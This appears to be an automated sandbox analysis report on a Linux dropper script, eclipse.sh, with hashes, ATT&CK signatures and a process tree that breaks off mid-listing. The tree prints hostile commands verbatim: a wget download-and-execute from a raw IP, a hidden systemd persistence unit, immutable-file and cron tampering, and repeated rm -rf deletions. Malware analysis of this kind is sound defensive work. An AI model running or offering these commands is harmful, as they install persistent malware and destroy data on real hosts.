7a4432b5712258fe21392aaa5f336b8330c4ab86592829c0a5e5a24ba763c0b4

Analysis

max time kernel
149s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
02/10/2026, 18:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
eclipse.sh
Size 485B
Sample261002-w95fcsvgjd
SHA256 7a4432b5712258fe21392aaa5f336b8330c4ab86592829c0a5e5a24ba763c0b4
MD5 51a941cf8f230d71724db1a19cd9d1e5
SHA1 1f36de11b2cabcfcee49c8b0943c49a8f876f33a
SHA512 1248266bb824fc0a2bcecfb2a621b6b23ff46cf3910d42eea171d3a66a90c00b200b44987f6afe29c3db96acbff08e34a45148793f8cab3f51202253bde173ce
TLSH
T103F097C6F0207D32C2C6240C1F0A71E691DA0C892A80DD98A4C3FCB4FC1A24978A3B44
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1494	chmod
1504	sh
1505	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/.e	1483	eclipse.sh

Unexpected DNS network traffic destination 8 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	103.18.82.62
Destination IP	103.18.82.62
Destination IP	103.18.82.62
Destination IP	103.18.82.62
Destination IP	103.18.82.62
Destination IP	103.18.82.62
Destination IP	103.18.82.62
Destination IP	103.18.82.62

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.txxDk2	crontab

Enumerates active TCP sockets 1 TTPs 1 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	.e

Enumerates running processes
Discovers information about currently running processes on the system

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/.eclipse.service	sh

Reads CPU attributes 1 TTPs 1 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	.e

Reads system network configuration 1 TTPs 1 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	.e

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1/sched	systemctl
File opened for reading	/proc/322/fd	.e
File opened for reading	/proc/924/fd	.e
File opened for reading	/proc/13/fd	.e
File opened for reading	/proc/23/fd	.e
File opened for reading	/proc/479/fd	.e
File opened for reading	/proc/870/fd	.e
File opened for reading	/proc/1033/fd	.e
File opened for reading	/proc/1345/fd	.e
File opened for reading	/proc/sys/kernel/osrelease	systemctl
File opened for reading	/proc/86/fd	.e
File opened for reading	/proc/501/fd	.e
File opened for reading	/proc/968/fd	.e
File opened for reading	/proc/1150/fd	.e
File opened for reading	/proc/1448/fd	.e
File opened for reading	/proc/sys/kernel/osrelease	systemctl
File opened for reading	/proc/1/sched	systemctl
File opened for reading	/proc/1171/fd	.e
File opened for reading	/proc/8/fd	.e
File opened for reading	/proc/10/fd	.e
File opened for reading	/proc/15/fd	.e
File opened for reading	/proc/82/fd	.e
File opened for reading	/proc/115/fd	.e
File opened for reading	/proc/495/fd	.e
File opened for reading	/proc/575/fd	.e
File opened for reading	/proc/1079/fd	.e
File opened for reading	/proc/36/fd	.e
File opened for reading	/proc/161/fd	.e
File opened for reading	/proc/428/fd	.e
File opened for reading	/proc/1089/fd	.e
File opened for reading	/proc/1158/fd	.e
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/9/fd	.e
File opened for reading	/proc/26/fd	.e
File opened for reading	/proc/167/fd	.e
File opened for reading	/proc/560/fd	.e
File opened for reading	/proc/1044/fd	.e
File opened for reading	/proc/1049/fd	.e
File opened for reading	/proc/1325/fd	.e
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/16/fd	.e
File opened for reading	/proc/30/fd	.e
File opened for reading	/proc/485/fd	.e
File opened for reading	/proc/1012/fd	.e
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/7/fd	.e
File opened for reading	/proc/29/fd	.e
File opened for reading	/proc/171/fd	.e
File opened for reading	/proc/434/fd	.e
File opened for reading	/proc/970/fd	.e
File opened for reading	/proc/1021/fd	.e
File opened for reading	/proc/159/fd	.e
File opened for reading	/proc/201/fd	.e
File opened for reading	/proc/268/fd	.e
File opened for reading	/proc/446/fd	.e
File opened for reading	/proc/1008/fd	.e
File opened for reading	/proc/1481/fd	.e
File opened for reading	/proc/160/fd	.e
File opened for reading	/proc/493/fd	.e
File opened for reading	/proc/984/fd	.e
File opened for reading	/proc/1091/fd	.e
File opened for reading	/proc/1240/fd	.e

System Network Configuration Discovery 1 TTPs 41 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1585	rm
1510	grep
1512	sh
1513	sed
1619	rm
1660	rm
1700	rm
1716	rm
1486	wget
1684	rm
1724	rm
1483	eclipse.sh
1500	sh
1502	sh
1503	cp
1603	rm
1611	rm
1652	rm
1756	rm
1506	sh
1569	rm
1668	rm
1692	rm
1732	rm
1565	rm
1593	rm
1676	rm
1507	chattr
1636	rm
1644	rm
1748	rm
1772	rm
1514	sh
1561	rm
1708	rm
1740	rm
1764	rm
1501	cp
1508	sh
1515	sh
1577	rm

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.e	wget

/tmp/eclipse.sh
/tmp/eclipse.sh
1⤵
- Executes dropped EXE
- System Network Configuration Discovery
PID:1483
- /bin/uname
  uname -m
  2⤵
  PID:1484
- /bin/rm
  rm -f .e
  2⤵
  PID:1485
- /usr/bin/wget
  wget -q http://176.65.139.78/eclipse.x86_64 -O .e
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1486
- /bin/chmod
  chmod +x .e
  2⤵
  - File and Directory Permissions Modification
  PID:1494

/tmp/.e
./.e
1⤵
- Enumerates active TCP sockets
- Reads CPU attributes
- Reads system network configuration
- Reads runtime system information
PID:1483
- /bin/sh
  sh -c "echo '0' > /proc/sys/kernel/pid_max 2>/dev/null"
  2⤵
  PID:1498
- /bin/sh
  sh -c "ulimit -u 50 2>/dev/null"
  2⤵
  PID:1499
- /bin/sh
  sh -c "cp /tmp/.e /var/tmp/.eclipse 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:1500
- - /bin/cp
    cp /tmp/.e /var/tmp/.eclipse
    3⤵
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:1501
- /bin/sh
  sh -c "cp /tmp/.e /usr/lib/.eclipse 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:1502
- - /bin/cp
    cp /tmp/.e /usr/lib/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1503
- /bin/sh
  sh -c "chmod +x /var/tmp/.eclipse /usr/lib/.eclipse 2>/dev/null"
  2⤵
  - File and Directory Permissions Modification
  PID:1504
- - /bin/chmod
    chmod +x /var/tmp/.eclipse /usr/lib/.eclipse
    3⤵
    - File and Directory Permissions Modification
    PID:1505
- /bin/sh
  sh -c "chattr +i /var/tmp/.eclipse 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:1506
- - /usr/bin/chattr
    chattr +i /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1507
- /bin/sh
  sh -c "crontab -l 2>/dev/null | grep -v '.eclipse' | crontab - 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:1508
- - /usr/bin/crontab
    crontab -
    3⤵
    - Creates/modifies Cron job
    PID:1511
- - /bin/grep
    grep -v .eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1510
- - /usr/bin/crontab
    crontab -l
    3⤵
    PID:1509
- /bin/sh
  sh -c "sed -i '/.eclipse/d' /etc/rc.local 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:1512
- - /bin/sed
    sed -i /.eclipse/d /etc/rc.local
    3⤵
    - System Network Configuration Discovery
    PID:1513
- /bin/sh
  sh -c "echo '[Unit] Description=System Service After=network.target [Service] Type=simple ExecStart=/var/tmp/.eclipse Restart=on-failure RestartSec=30 [Install] WantedBy=multi-user.target' > /etc/systemd/system/.eclipse.service 2>/dev/null"
  2⤵
  - Modifies systemd
  - System Network Configuration Discovery
  PID:1514
- /bin/sh
  sh -c "systemctl daemon-reload 2>/dev/null; systemctl enable .eclipse 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:1515
- - /bin/systemctl
    systemctl daemon-reload
    3⤵
    - Reads runtime system information
    PID:1516
- - /bin/systemctl
    systemctl enable .eclipse
    3⤵
    - Reads runtime system information
    PID:1537
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1558
- - /bin/rm
    rm -rf /tmp/. /tmp/.. /tmp/.ICE-unix /tmp/.Test-unix /tmp/.X11-unix /tmp/.XIM-unix /tmp/.e /tmp/.font-unix
    3⤵
    PID:1559
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1560
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1561
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1562
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1563
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1564
- - /bin/rm
    rm -rf /run/. /run/.. /run/.eclipse.lock
    3⤵
    - System Network Configuration Discovery
    PID:1565
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1566
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1567
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1568
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1569
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1570
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1571
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1572
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1573
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1574
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1575
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1576
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1577
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1578
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1579
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1580
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1581
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1582
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1583
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1584
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1585
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1586
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1587
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1588
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1589
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1590
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1591
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1592
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1593
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1594
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1595
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1596
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1597
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1600
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1601
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1602
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1603
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1604
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1605
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1606
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1607
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1608
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1609
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1610
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1611
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1612
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1613
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1614
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1615
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1616
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1617
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1618
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1619
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1620
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1621
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1622
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1623
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1633
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1634
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1635
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1636
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1637
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1638
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1639
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1640
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1641
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1642
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1643
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1644
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1645
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1646
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1647
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1648
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1649
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1650
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1651
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1652
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1653
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1654
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1655
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1656
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1657
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1658
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1659
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1660
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1661
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1662
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1663
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1664
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1665
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1666
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1667
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1668
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1669
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1670
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1671
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1672
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1673
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1674
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1675
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1676
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1677
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1678
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1679
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1680
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1681
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1682
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1683
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1684
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1685
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1686
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1687
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1688
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1689
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1690
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1691
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1692
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1693
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1694
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1695
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1696
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1697
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1698
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1699
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1700
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1701
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1702
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1703
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1704
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1705
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1706
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1707
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1708
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1709
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1710
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1711
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1712
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1713
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1714
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1715
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1716
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1717
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1718
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1719
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1720
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1721
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1722
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1723
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1724
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1725
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1726
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1727
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1728
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1729
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1730
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1731
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1732
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1733
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1734
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1735
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1736
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1737
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1738
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1739
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1740
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1741
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1742
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1743
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1744
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1745
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1746
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1747
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1748
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1749
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1750
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1751
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1752
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1753
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1754
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1755
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1756
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1757
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1758
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1759
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1760
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1761
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1762
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1763
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1764
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1765
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1766
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1767
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1768
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1769
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1770
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1771
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1772
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1773
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1774
- /bin/sh
